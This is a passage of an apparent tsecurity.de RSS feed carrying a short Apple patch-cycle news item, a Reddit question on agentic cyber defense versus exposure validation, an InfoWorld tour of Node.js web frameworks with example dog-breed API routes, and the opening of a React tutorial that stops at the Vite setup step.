#ai #news #robot<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple’s iOS update cycle overhaul: How security teams should react]]></title>
<description><![CDATA[Apple’s more rapid approach to patch releases follows a wider industry trend. What can security leaders do to keep up?]]></description>
<link>https://tsecurity.de/de/3667104/it-security-nachrichten/apples-ios-update-cycle-overhaul-how-security-teams-should-react/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3667104/it-security-nachrichten/apples-ios-update-cycle-overhaul-how-security-teams-should-react/</guid>
<pubDate>Tue, 14 Jul 2026 09:08:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple’s more rapid approach to patch releases follows a wider industry trend. What can security leaders do to keep up?]]></content:encoded>
</item>
<item>
<title><![CDATA[Agentic cyber defense engineering vs traditional exposure validation, what's the difference?]]></title>
<description><![CDATA[I keep seeing the phrase “agentic cyber defense” and “agentic cyber defense engineering” in talks and vendor material. It sounds interesting, but it is not always clear what is actually new compared to the exposure validation and CTEM programs many teams already run. From my current understanding...]]></description>
<link>https://tsecurity.de/de/3666725/it-security-nachrichten/agentic-cyber-defense-engineering-vs-traditional-exposure-validation-whats-the-difference/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666725/it-security-nachrichten/agentic-cyber-defense-engineering-vs-traditional-exposure-validation-whats-the-difference/</guid>
<pubDate>Tue, 14 Jul 2026 04:53:20 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>I keep seeing the phrase “agentic cyber defense” and “agentic cyber defense engineering” in talks and vendor material. It sounds interesting, but it is not always clear what is actually new compared to the exposure validation and CTEM programs many teams already run.</p> <p>From my current understanding, traditional exposure validation focuses on running defined assessments that test controls and detections against known TTPs and attack paths. The agentic descriptions I have seen talk about systems that can chain actions together on their own, react to new threat intel, and generate targeted assessments when you describe a scenario in natural language.</p> <p>If anyone has hands on experience with this kind of setup, how different is it really from standard automation and scheduling of assessments? For example, does it genuinely reduce the time between new intel and a validated view of exposure, or is it just a more flexible interface on top of similar checks?</p> <p>I would also like to hear about any pitfalls, such as reliability issues, oversight requirements, or cases where an agent made poor choices that still needed human review.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Academic-Pen-9219"> /u/Academic-Pen-9219 </a> <br> <span><a href="https://www.reddit.com/r/security/comments/1uv3i7c/agentic_cyber_defense_engineering_vs_traditional/">[link]</a></span>   <span><a href="https://www.reddit.com/r/security/comments/1uv3i7c/agentic_cyber_defense_engineering_vs_traditional/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[The complete guide to Node.js frameworks]]></title>
<description><![CDATA[Node.js is one of the most popular server-side platforms, especially for web applications. It gives you non-blocking JavaScript without a browser, plus an enormous ecosystem. That ecosystem is one of Node’s chief strengths, making it a go-to option for server development.



This article is a qui...]]></description>
<link>https://tsecurity.de/de/3665672/ai-nachrichten/the-complete-guide-to-nodejs-frameworks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665672/ai-nachrichten/the-complete-guide-to-nodejs-frameworks/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:36 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/2254485/what-is-nodejs-javascript-runtime-explained.html">Node.js</a> is one of the most popular server-side platforms, especially for web applications. It gives you non-blocking JavaScript without a browser, plus an enormous ecosystem. That ecosystem is one of Node’s chief strengths, making it a go-to option for server development.</p>



<p class="wp-block-paragraph">This article is a quick tour of the most popular web frameworks for <a href="https://www.infoworld.com/article/2257958/nodejs-tutorial-get-started-with-nodejs.html">server development on Node.js</a>. We’ll look at minimalist tools like Express.js, batteries-included frameworks like Nest.js, and full-stack frameworks like Next.js. You’ll get an overview of the frameworks and a taste of what it’s like to write a simple server application in each one.</p>



<h2 class="wp-block-heading">Minimalist web frameworks</h2>



<p class="wp-block-paragraph">When it comes to Node web frameworks, <em>minimalist</em> doesn’t mean limited. Instead, these frameworks provide the essential features required to do the job for which they are intended. The frameworks in this list also tend to be highly extensible, so you can customize them as needed. With minimalist frameworks, pluggable extensibility is the name of the game.</p>



<h3 class="wp-block-heading">Express.js</h3>



<p class="wp-block-paragraph">At over 47 million weekly downloads on npm, Express is one of the most-installed software packages of all time—and for good reason. Express gives you basic web endpoint routing and request-and-response handling inside an extensible framework that is easy to understand. Most other frameworks in this category have adopted the basic style of describing a route from Express. This framework is the obvious choice when you simply need to create some routes for HTTP, and you don’t mind a DIY approach for anything extra.</p>



<p class="wp-block-paragraph">Despite its simplicity, Express is fully-featured when it comes to things like route parameters and request handling. Here is a simple Express endpoint that returns a dog breed based on an ID:</p>



<pre class="wp-block-code"><code>import express from 'express';

const app = express();
const port = 3000;

// In-memory array of dog breeds
const dogBreeds = [
  "Shih Tzu",
  "Great Pyrenees",
  "Tibetan Mastiff",
  "Australian Shepherd"
];
app.get('/dogs/:id', (req, res) =&gt; {
  // Convert the id from a string to an integer
  const id = parseInt(req.params.id, 10);

  // Check if the id is a valid number and within the array bounds
  if (id &gt;= 0 &amp;&amp; id  {
  console.log(`Server running at http://localhost:${port}`);
});</code></pre>



<p class="wp-block-paragraph">You can easily see how the route is defined here: a string representation of a URL, followed by a function that receives a request and response object. The process of creating the server and listening on a port is simple.</p>



<p class="wp-block-paragraph">If you are coming from a framework like Next, the biggest thing you might notice about Express is that it lacks a file-system based router. On the other hand, it offers a huge range of <a href="https://expressjs.com/en/resources/middleware.html">middleware plugins</a> to help with essential functions like security.</p>



<h3 class="wp-block-heading">Koa</h3>



<p class="wp-block-paragraph"><a href="https://koajs.com/">Koa</a> was created by the original creators of Espress, who took the lessons learned from that project and used them for a fresh take on the JavaScript server. Koa’s focus is providing a minimalist core engine. It uses <code>async</code>/<code>await</code> functions for middleware rather than chaining with <code>next()</code> calls. This can give you a cleaner server, especially when there are many plugins. It also makes the error handling less clunky for middleware.</p>



<p class="wp-block-paragraph">Koa also differs from Express by exposing a unified context object instead of separate request and response objects, which makes for a somewhat less cluttered API. Here is how Koa manages the same route we created in Express:</p>



<pre class="wp-block-code"><code>router.get('/dogs/:id', (ctx) =&gt; {
  const id = parseInt(ctx.params.id, 10);

  if (id &gt;= 0 &amp;&amp; id &lt; dogBreeds.length) {
    ctx.status = 200;
    ctx.body = { breed: dogBreeds[id] };
  } else {
    ctx.status = 404;
    ctx.body = { error: 'Dog breed not found' };
  }
});</code></pre>



<p class="wp-block-paragraph">The only real difference is the combined context object.</p>



<p class="wp-block-paragraph">Koa’s middleware mechanism is also worth a look. Here’s a simple logging plugin in Koa:</p>



<pre class="wp-block-code"><code>const logger = async (ctx, next) =&gt; {
  await next(); // This passes control to the router
  console.log(`${ctx.method} ${ctx.url} - ${ctx.status}`);
};

// Use the logger middleware for all requests
app.use(logger);	</code></pre>



<h3 class="wp-block-heading">Fastify</h3>



<p class="wp-block-paragraph"><a href="https://fastify.dev/">Fastify</a> lets you define schemas for your APIs. This is an up-front, formal mechanism for describing what the server supports:</p>



<pre class="wp-block-code"><code>const schema = {
  params: {
    type: 'object',
    properties: {
      id: { type: 'integer' }
    }
  },
  response: {
    200: {
      type: 'object',
      properties: {
        breed: { type: 'string' }
      }
    },
    404: {
      type: 'object',
      properties: {
        error: { type: 'string' }
      }
    }
  }
};

fastify.get('/dogs/:id', { schema }, (request, reply) =&gt; {
  const id = request.params.id;

  if (id &gt;= 0 &amp;&amp; id  {
  if (err) {
    fastify.log.error(err);
    process.exit(1);
  }
  console.log(`Server running at ${address}`);
});</code></pre>



<p class="wp-block-paragraph">From this example, you can see the actual endpoint definition is similar to Express and Koa, but we define a schema for the API. The schema is not strictly necessary; it is possible to define endpoints without it. In that case, Fastify behaves much like Express, but with superior performance.</p>



<h3 class="wp-block-heading">Hono</h3>



<p class="wp-block-paragraph"><a href="https://hono.dev/">Hono</a> emphasizes simplicity. You can define a server and endpoint with as little as:</p>



<pre class="wp-block-code"><code>const app = new Hono()
app.get('/', (c) =&gt; c.text('Hello, Infoworld!'))  </code></pre>



<p class="wp-block-paragraph">And here’s how our dog breed example looks:</p>



<pre class="wp-block-code"><code>app.get('/dogs/:id', (c) =&gt; {
  // Get the id parameter from the request URL
  const id = parseInt(c.req.param('id'), 10);

  // Check if the id is a valid number and within the array bounds
  if (id &gt;= 0 &amp;&amp; id &lt; dogBreeds.length) {
    // Return a JSON response with a 200 OK status (default)
    return c.json({ breed: dogBreeds[id] });
  } else {
    // Set status to 404 and return a JSON error message
    c.status(404);
    return c.json({ error: 'Dog breed not found' });
  }
});</code></pre>



<p class="wp-block-paragraph">As you can see, Hono provides a unified context object, similar to Koa.</p>



<h3 class="wp-block-heading">Nitro.js</h3>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/4061129/intro-to-nitro-the-server-engine-built-for-modern-javascript.html">Nitro</a> is the back end for several full-stack frameworks, including Nuxt.js. As part of the UnJS ecosystem, Nitro goes further than Express in providing cloud-native tooling support. It includes a universal storage adapter and deployment support for serverless and cloud deployment targets.</p>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/4061129/intro-to-nitro-the-server-engine-built-for-modern-javascript.html">Intro to Nitro: The server engine built for modern JavaScript</a>.</strong></p>



<p class="wp-block-paragraph">Like Next.js, Nitro uses filesystem-based routing, so our Dog Finder API would exist at the following filepath:</p>



<pre class="wp-block-code"><code>/api/dogs/:id</code></pre>



<p class="wp-block-paragraph">The handler might look like this:</p>



<pre class="wp-block-code"><code>export default defineEventHandler((event) =&gt; {
  // Get the dynamic parameter from the event context
  const { id } = getRouterParams(event);
  const parsedId = parseInt(id, 10);

  // Check if the id is a valid number and within the array bounds
  if (parsedId &gt;= 0 &amp;&amp; parsedId &lt; dogBreeds.length) {
    // Nitro handles JSON serialization
    return { breed: dogBreeds[parsedId] };
  } else {
    setResponseStatus(event, 404);
    return { error: 'Dog breed not found' };
  }
});</code></pre>



<p class="wp-block-paragraph">Nitro inhabits the middle ground between a pure tool like Express and a full-blown stack, which is why full-stack front ends often use Nitro on the back end.</p>



<h2 class="wp-block-heading">Batteries-included frameworks</h2>



<p class="wp-block-paragraph">Although Express and other minimalist frameworks set the standard for simplicity, more opinionated frameworks can be useful if you want additional features out of the box.</p>



<h3 class="wp-block-heading">Nest.js</h3>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/4091407/intro-to-nest-js-server-side-javascript-development-on-node.html">Nest</a> is a progressive framework built with <a href="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html">TypeScript</a> from the ground up. Nest is actually a layer on top of Express (or Fastify), with additional services. It is inspired by Angular and incorporates the kind of architectural support found there. In particular, it includes dependency injection. Nest also uses annotated controllers for endpoints.</p>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/4091407/intro-to-nest-js-server-side-javascript-development-on-node.html">Intro to Nest.js: Server-side JavaScript development on Node</a>.</strong></p>



<p class="wp-block-paragraph">Here is an example of injecting a dog finder provider into a controller:</p>



<pre class="wp-block-code"><code>// The provider:
import { Injectable, NotFoundException } from '@nestjs/common';

// The @Injectable() decorator marks this class as a provider.
@Injectable()
export class DogsService {
  private readonly dogBreeds = [
    "Shih Tzu",
    "Great Pyrenees",
    "Tibetan Mastiff",
    "Australian Shepherd"
  ];

  findOne(id: number) {
    if (id &gt;= 0 &amp;&amp; id &lt; this.dogBreeds.length) {
      return { breed: this.dogBreeds[id] };
    }
    // NestJS has built-in HTTP exception classes for common errors.
    throw new NotFoundException('Dog breed not found');
  }
}

// The controller

import { Controller, Get, Param, ParseIntPipe } from '@nestjs/common';
import { DogsService } from './dogs.service';

@Controller('dogs')
export class DogsController {
  // NestJS injects the DogsService through the constructor.
  // The 'private readonly' syntax is a TypeScript shorthand
  // to both declare and initialize the dogsService member.
  constructor(private readonly dogsService: DogsService) {}

  @Get(':id')
  findOneDog(@Param('id', ParseIntPipe) id: number) {
    // We can now use the service's methods. The ParseIntPipe
    // automatically converts the string URL parameter to a number.
    return this.dogsService.findOne(id);
  }
}</code></pre>



<p class="wp-block-paragraph">This style is typical of dependency injection frameworks like <a href="https://www.infoworld.com/article/3964105/catching-up-with-angular-19.html" data-type="link" data-id="https://www.infoworld.com/article/3964105/catching-up-with-angular-19.html">Angular</a>, as well as <a href="https://www.infoworld.com/article/4083578/a-fresh-look-at-the-spring-framework.html" data-type="link" data-id="https://www.infoworld.com/article/4083578/a-fresh-look-at-the-spring-framework.html">Spring</a>. It allows you to declare components as injectable, then consume them anywhere you need them.</p>



<p class="wp-block-paragraph">In Nest, we’d just add these as modules to make them live.</p>



<h3 class="wp-block-heading">Adonis.js</h3>



<p class="wp-block-paragraph">Like Nest, <a href="https://adonisjs.com/">Adonis</a> provides a controller layer that you wire together with routes. Adonis is inspired by the model-view-controller (MVC) pattern, so it also includes a layer for modelling data and accessing stores via an ORM. Finally, it provides a validator layer for ensuring data meets requirements.</p>



<p class="wp-block-paragraph">Routes in Adonis are very simple:</p>



<pre class="wp-block-code"><code>Route.get('/dogs/:id', [DogsController, 'show'])</code></pre>



<p class="wp-block-paragraph">In this case, <code>DogsController</code> would be the handler for the route, and might look something like:</p>



<pre class="wp-block-code"><code>import type { HttpContextContract } from '@ioc:Adonis/Core/HttpContext'  // Note, ioc means inversion of control, similar to dependency injection

export default class DogsController {
  // The 'show' method handles the logic for the route
  public async show({ params, response }: HttpContextContract) {
    const id = Number(params.id);

    // Check if the id is a valid number and within the array bounds
    if (!isNaN(id) &amp;&amp; id &gt;= 0 &amp;&amp; id &lt; this.dogBreeds.length) {
      // Use the response object to send a 200 OK JSON response
      return response.ok({ breed: this.dogBreeds[id] });
    } else {
      // Send a 404 Not Found response
      return response.notFound({ error: 'Dog breed not found' });
    }
  }
}</code></pre>



<p class="wp-block-paragraph">Of course, in a real application, we could define a model layer to handle the actual data access.</p>



<h3 class="wp-block-heading">Sails</h3>



<p class="wp-block-paragraph"><a href="https://sailsjs.com/">Sails</a> is another MVC-style framework. It is one of the original one-stop-shopping frameworks for Node and includes an ORM layer (<a href="https://sailsjs.com/documentation/reference/waterline-orm">Waterline</a>), API generation (<a href="https://sailsjs.com/documentation/reference/blueprint-api">Blueprints</a>), and realtime support, including <a href="https://www.infoworld.com/article/3552685/websockets-under-the-hood.html" data-type="link" data-id="https://www.infoworld.com/article/3552685/websockets-under-the-hood.html">WebSockets</a>.</p>



<p class="wp-block-paragraph">Sails strives for conventional operation. For example, here’s how you might define a simple model for dogs:</p>



<pre class="wp-block-code"><code>/**
 * Dog.js
 *
 * @description :: A model definition represents a database table/collection.
 * @docs        :: https://sailsjs.com/docs/concepts/models
 */
module.exports = {
  attributes: {
    breed: { type: 'string', required: true },
  },
};</code></pre>



<p class="wp-block-paragraph">If you run this in Sails, the framework will generate default routes and wire up a <a href="https://www.infoworld.com/article/2265797/how-to-choose-the-right-nosql-database-2.html" data-type="link" data-id="https://www.infoworld.com/article/2265797/how-to-choose-the-right-nosql-database-2.html">NoSQL</a> or SQL datastore based on your configuration. Sails also provides the option to override these defaults and add in your own custom logic.</p>



<h2 class="wp-block-heading">Full-stack frameworks</h2>



<p class="wp-block-paragraph">Also known as <a href="https://www.infoworld.com/article/3486850/state-of-javascript-insights-from-the-latest-javascript-community-survey.html">meta-frameworks</a>, these tools combine a front-end framework with a solid back end and various CLI niceties like build chains.</p>



<h3 class="wp-block-heading">Next.js</h3>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/4078213/next-js-16-features-explicit-caching-ai-powered-debugging.html">Next</a> is a React-based framework built by Vercel. It is largely responsible for the huge growth in popularity of these types of frameworks. Next was the first framework to bring together back-end API definitions with the front end that consumes them. It also introduced file-system routing. In Next and other full-stack frameworks, you get both parts of your stack in one place and you can run them together during development.</p>



<p class="wp-block-paragraph">In Next, we could define a route at <code>pages/api/dogs/[id].js</code> like so:</p>



<pre class="wp-block-code"><code>export default function handler(req, res) {
  // `req.query.id` comes from the dynamic filename [id].js
  const { id } = req.query;
  const parsedId = parseInt(id, 10);

  if (parsedId &gt;= 0 &amp;&amp; parsedId &lt; dogBreeds.length) {
    // If the ID is valid, return the data
    res.status(200).json({ breed: dogBreeds[parsedId] });
  } else {
    // Otherwise, return a 404 error
    res.status(404).json({ error: 'Dog breed not found' });
  }
}</code></pre>



<p class="wp-block-paragraph">We’d then define the UI component to interact with this route at <code>pages/dogs/[id].js</code>:</p>



<pre class="wp-block-code"><code>import React from 'react';

// This is the React component that renders the page.
// It receives the `dog` object as a prop from getServerSideProps.
function DogPage({ dog }) {
  // Handle the case where the dog wasn't found
  if (!dog) {
    return <h1>Dog Breed Not Found</h1>;
  }

  return (
    <div>
      <h1>Dog Breed Profile</h1>
      <p>Breed Name: <strong>{dog.breed}</strong></p>
    </div>
  );
}

// This function runs on the server before the page is sent to the browser.
export async function getServerSideProps(context) {
  const { id } = context.params; // Get the ID from the URL

  // Fetch data from our own API route on the server.
  const res = await fetch(`http://localhost:3000/api/dogs/${id}`);
  
  // If the fetch was successful, parse the JSON.
  const dog = res.ok ? await res.json() : null;

  // Pass the fetched data to the DogPage component as props.
  return {
    props: {
      dog,
    },
  };
}

export default DogPage;</code></pre>



<h3 class="wp-block-heading">Nuxt.js</h3>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/4025936/nuxt-4-0-improves-project-organization-data-fetching-typescript-support.html">Nuxt</a> is the same idea as Next, but applied to the <a href="http://vue.js/">Vue</a> front end. The basic pattern is the same, though. First, we’d define a back-end route:</p>



<pre class="wp-block-code"><code>// server/api/dogs/[id].js

// defineEventHandler is Nuxt's helper for creating API handlers.
export default defineEventHandler((event) =&gt; {
  // Nuxt automatically parses route parameters.
  const id = getRouterParam(event, 'id');
  const parsedId = parseInt(id, 10);

  if (parsedId &gt;= 0 &amp;&amp; parsedId &lt; dogBreeds.length) {
    return { breed: dogBreeds[parsedId] };
  } else {
    // Helper to set the status code and return an error.
    setResponseStatus(event, 404);
    return { error: 'Dog breed not found' };
  }
});</code></pre>



<p class="wp-block-paragraph">Then, we’d create the UI file in Vue:</p>



<pre class="wp-block-code"><code>// pages/dogs/[id].vue


  <div>
    <div>
      Loading...
    </div>
    <div>
      <h1>{{ error.data.error }}</h1>
    </div>
    <div>
      <h1>Dog Breed Profile</h1>
      <p>Breed Name: <strong>{{ dog.breed }}</strong></p>
    </div>
  </div>


</code></pre>



<h3 class="wp-block-heading">SvelteKit</h3>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/2337758/intro-to-sveltekit-10-the-full-stack-framework-for-svelte.html">SvelteKit</a> is the full-stack framework for the Svelte front end. It’s similar to Next and Nuxt, with the main difference being the front-end technology.</p>



<p class="wp-block-paragraph">In SvelteKit, a back-end route looks like so:</p>



<pre class="wp-block-code"><code>// src/routes/api/dogs/[id]/+server.js

import { json, error } from '@sveltejs/kit';

// This is our data source for the example.
const dogBreeds = [
  "Shih Tzu",
  "Australian Cattle Dog",
  "Great Pyrenees",
  "Tibetan Mastiff",
];

/** @type {import('./$types').RequestHandler} */
export function GET({ params }) {
  // The 'id' comes from the [id] directory name.
  const id = parseInt(params.id, 10);

  if (id &gt;= 0 &amp;&amp; id &lt; dogBreeds.length) {
    // The json() helper creates a valid JSON response.
    return json({ breed: dogBreeds[id] });
  }

  // The error() helper is the idiomatic way to return HTTP errors.
  throw error(404, 'Dog breed not found');
}</code></pre>



<p class="wp-block-paragraph">SvelteKit usually splits the UI into two components. The first component is for loading the data (which can then be run on the server):</p>



<pre class="wp-block-code"><code>// src/routes/dogs/[id]/+page.js

import { error } from '@sveltejs/kit';

/** @type {import('./$types').PageLoad} */
export async function load({ params, fetch }) {
  // Use the SvelteKit-provided `fetch` to call our API endpoint.
  const response = await fetch(`/api/dogs/${params.id}`);

  if (response.ok) {
    const dog = await response.json();
    // The object returned here is passed as the 'data' prop to the page.
    return {
      dog: dog
    };
  }

  // If the API returns an error, forward it to the user.
  throw error(response.status, 'Dog breed not found');
}</code></pre>



<p class="wp-block-paragraph">The second component is the UI:</p>



<pre class="wp-block-code"><code>// src/routes/dogs/[id]/+page.svelte



<div>
  <h1>Dog Breed Profile</h1>
  <p>Breed Name: <strong>{data.dog.breed}</strong></p>
</div></code></pre>



<h2 class="wp-block-heading">Conclusion</h2>



<p class="wp-block-paragraph">The Node.js ecosystem has moved beyond the “default-to-Express” days. Now, it is worth your time to look for a framework that fits your specific situation.<br><br>If you are building <a href="https://www.infoworld.com/article/2263327/what-are-microservices-your-next-software-architecture.html">microservices</a> or high-performance APIs, where every millisecond counts, you owe it to yourself to look at minimalist frameworks like Fastify or Hono. This class of frameworks gives you raw speed and total control without requiring decisions about infrastructure.<br><br>If you are building an enterprise monolith or working with a big team, batteries-included frameworks like Nest or Adonis offer useful structure. The complexity of the initial setup buys you long-term maintainability and makes the codebase more standardized for new developers.<br><br>Finally, if your project is a content-rich web application, full-stack meta-frameworks like Next, Nuxt, and SvelteKit offer the best developer experience and the perfect profile of tools.<br><br>It’s also worth noting that, while Node remains the standard server-side runtime, alternatives <a href="https://www.infoworld.com/article/2256205/what-is-deno-a-better-nodejs.html">Deno</a> and <a href="https://www.infoworld.com/article/2338008/explore-bunjs-the-all-in-one-javascript-runtime.html">Bun</a> have both made a name for themselves. Deno has great heritage, is open source with a strong security focus, and has its own framework, <a href="https://www.infoworld.com/article/3523813/intro-to-deno-fresh-a-fresh-take-on-full-stack-javascript.html">Deno Fresh</a>. Bun is respected for its ultra-fast startup and integrated tooling.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[React tutorial: Get started with the React JavaScript library]]></title>
<description><![CDATA[Despite many worthy contenders, React remains the most popular front-end framework, and a key player in the JavaScript development landscape. React is the quintessential reactive engine, continually innovating alongside the rest of the industry. A flagship open source project at Facebook, React i...]]></description>
<link>https://tsecurity.de/de/3665668/ai-nachrichten/react-tutorial-get-started-with-the-react-javascript-library/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665668/ai-nachrichten/react-tutorial-get-started-with-the-react-javascript-library/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:31 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Despite many <a href="https://www.infoworld.com/article/2336227/whats-the-best-javascript-framework.html">worthy contenders</a>, React remains the most popular front-end framework, and a key player in the <a href="https://www.infoworld.com/article/2263137/what-is-javascript-the-full-stack-programming-language.html">JavaScript</a> development landscape. React is the quintessential <a href="https://www.infoworld.com/article/2338730/what-is-reactive-programming-programming-with-event-streams.html">reactive engine</a>, continually innovating alongside the rest of the industry. A flagship open source project at Facebook, React is now part of Meta Open Source. For developers new to JavaScript and web development, this tutorial will get you started with this vital technology.</p>



<p class="wp-block-paragraph">React is not only a front-end framework, but is a component in full-stack frameworks like <a href="https://www.infoworld.com/article/4078213/next-js-16-features-explicit-caching-ai-powered-debugging.html">Next.js</a>. Newer additions like React server-side rendering (SSR) and React server components (RSC) further blur the line between server and client.</p>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/3583477/is-the-react-compiler-ready-for-prime-time.html">Is the React compiler ready for primetime?</a></strong></p>



<h2 class="wp-block-heading">Why React?</h2>



<p class="wp-block-paragraph">React’s prominence makes it an obvious choice for developers just starting out with web development. It is often chosen for its ability to offer a smooth and encompassing developer experience (DX), which distinguishes it from frameworks like <a href="https://www.infoworld.com/article/3962039/what-you-need-to-know-about-angular-react-vue-and-svelte-popular-javascript-frameworks-compared.html">Vue, Angular, and Svelte</a>. It could be said that React’s true “killer feature” is the perks that come with longstanding popularity: learning resources, community support, libraries, and developers are all plentiful in the React ecosystem.</p>



<h2 class="wp-block-heading">Installing React</h2>



<p class="wp-block-paragraph">Real-world React requires running on the server with a build tool, which we will explore in the next section. But to get your feet wet, we can start out with an online playground. There are several high-quality playgrounds for React, including full-blown environments like StackBlitz or Codesandbox. For a quick taste, we will use <a href="https://playcode.io/react">PlayCode React</a>.</p>



<p class="wp-block-paragraph">When you first open it, PlayCode React gives you a basic layout like the one shown here:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/01/image1.png?w=1024" alt="A screenshot shows the layout of a basic Rwact JavaScript application." class="wp-image-4116902" width="1024" height="585" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Matthew Tyson</p></div>



<p class="wp-block-paragraph">The menu on the left is the file explorer, at the top is the code window, and at the bottom are the console (on the left) and the preview pane (on the right).</p>



<p class="wp-block-paragraph">From this screenshot, you can see how the content of the code is displayed on the preview pane, but this basic layout doesn’t use any variables (or “state,” as it’s known in React). It does let you see some of the plumbing, like the React library import and the exported <code>App</code> function.</p>



<p class="wp-block-paragraph">Modern React is functional. The <code>App</code> function has a return value that is the actual output for the component. The component’s return is specified by <a href="https://www.infoworld.com/article/2335613/intro-to-jsx-html-that-does-javascript.html">JSX</a>, a templating language that lets you use HTML along with variables and JavaScript expressions. Right now, the app just has some simple markup.</p>



<p class="wp-block-paragraph">The classic example you see next is a “Counter” that lets you increase and decrease a displayed value using buttons. We’ll do a slight “Spinal Tap” variation of this, where the counter only goes to 11 and displays a message:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/01/image2.png?w=1024" alt="A screenshot of a counter app developed in React." class="wp-image-4116903" width="1024" height="585" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Matthew Tyson</p></div>



<p class="wp-block-paragraph">You can take a look at the running example <a href="https://playcode.io/react-playground--019ac165-81fd-74b1-8681-188b66459b9e">here</a>, and the full code for the example is below:</p>



<pre class="wp-block-code"><code>import React, { useState } from 'react';

export function App() {
  // 1. The State
  const [volume, setVolume] = useState(0);

  return (
    <div>
      <h1>Spinal Tap Amp 🎸</h1>
     
      {/* 2. The "View" (Displaying the state) */}
      <div>
        {volume}
      </div>

      <div>
        {/* 3. The Actions */
        <button> setVolume(volume - 1)}&gt;Down</button>
       
        <button> {
          if (volume 
          Up
        </button>
      </div>

      {/* 4. Conditional */}
      {volume === 11 &amp;&amp;
        <p>"Why don't you just make ten louder?"</p>
      }
    </div>
  );
}</code></pre>



<p class="wp-block-paragraph">If you play with the example, you’ll see that moving the buttons changes the value, and the display automatically reflects the change. This is the essential magic of a reactive engine like React. The state is a managed variable that React automatically updates and displays. State is declared like so:</p>



<pre class="wp-block-code"><code>const [volume, setVolume] = useState(0);</code></pre>



<p class="wp-block-paragraph">The syntax is a bit funky if you are coming from straight JavaScript, but most developers can adapt to it quickly. Basically, <code>useState(0)</code> says, with a default value <code>0</code>, give me a variable, <code>volume</code>, and a function to set it, <code>setVolume</code>.</p>



<p class="wp-block-paragraph">To display the value in the view, we use: <code>{volume}</code>.</p>



<p class="wp-block-paragraph">To modify the value, we use button event handlers. For example, to increment, we’d do:</p>



<pre class="wp-block-code"><code>To modify the value, we use buttons event handlers.  For example, to increment:

onClick={() =&gt; setVolume(volume + 1)</code></pre>



<p class="wp-block-paragraph">Here we’ve directly modified the volume state, and React will update accordingly. If we wanted to, we could call a function (for example, if the logic were more involved).</p>



<p class="wp-block-paragraph">Finally, when the value reaches 11, we display a message. This syntax is idiomatic React, and uses an embedded JavaScript equality check:</p>



<pre class="wp-block-code"><code>{volume === 11 &amp;&amp;
  <p>"Why don't you just make ten louder?"</p>
}</code></pre>



<p class="wp-block-paragraph">The check says, if volume is 11, then display the <code><p></p></code> markup.</p>



<h2 class="wp-block-heading">Using a build tool with React</h2>



<p class="wp-block-paragraph">Once upon a time, when NVIDIA was nothing but a graphics card, it was quite a bit of work assembling a good build chain for React. These days, the process is much simpler, and the once ubiquitous <code>create-react-app</code> option is no more. <a href="https://www.infoworld.com/article/2266193/7-tools-transforming-javascript-development.html">Vite</a> is now the standard choice for launching a new app from the React terminal, so that’s the approach you’ll learn here.</p>



<p class="wp-block-paragraph">With that said, there are a few alternatives worth mentioning. <a href="https://www.infoworld.com/article/2254808/get-started-with-visual-studio-code.html">VS Code</a> has extensions that will provide you with templates or scaffolding, but what’s becoming more common is <a href="https://www.infoworld.com/article/3973969/knowing-when-to-use-ai-coding-assistants.html">using an AI coding assistant</a>. A tool like Copilot, ChatGPT, or Gemini can take a prompt describing the basics of the application in question, including the instruction to use React, and produce a basic React layout for you. AI assistants are available in both command-line and VS Code extension flavors. Or, for an even more forward-looking option, you could use something like <a href="https://www.infoworld.com/article/3981588/putting-agentic-ai-to-work-in-firebase-studio.html">Firebase Studio</a>.</p>



<p class="wp-block-paragraph">But enough about alternatives—Vite is the standard for a reason. It is repeatable, capable, and fast. To launch a new Vite app, you just enter the following in your command line:</p>



<pre class="wp-block-code"><code>$ npm create vite@latest</code></pre>



<p class="wp-block-paragraph">The interactive tool will walk you through the process, starting with selecting React as your technology:</p>


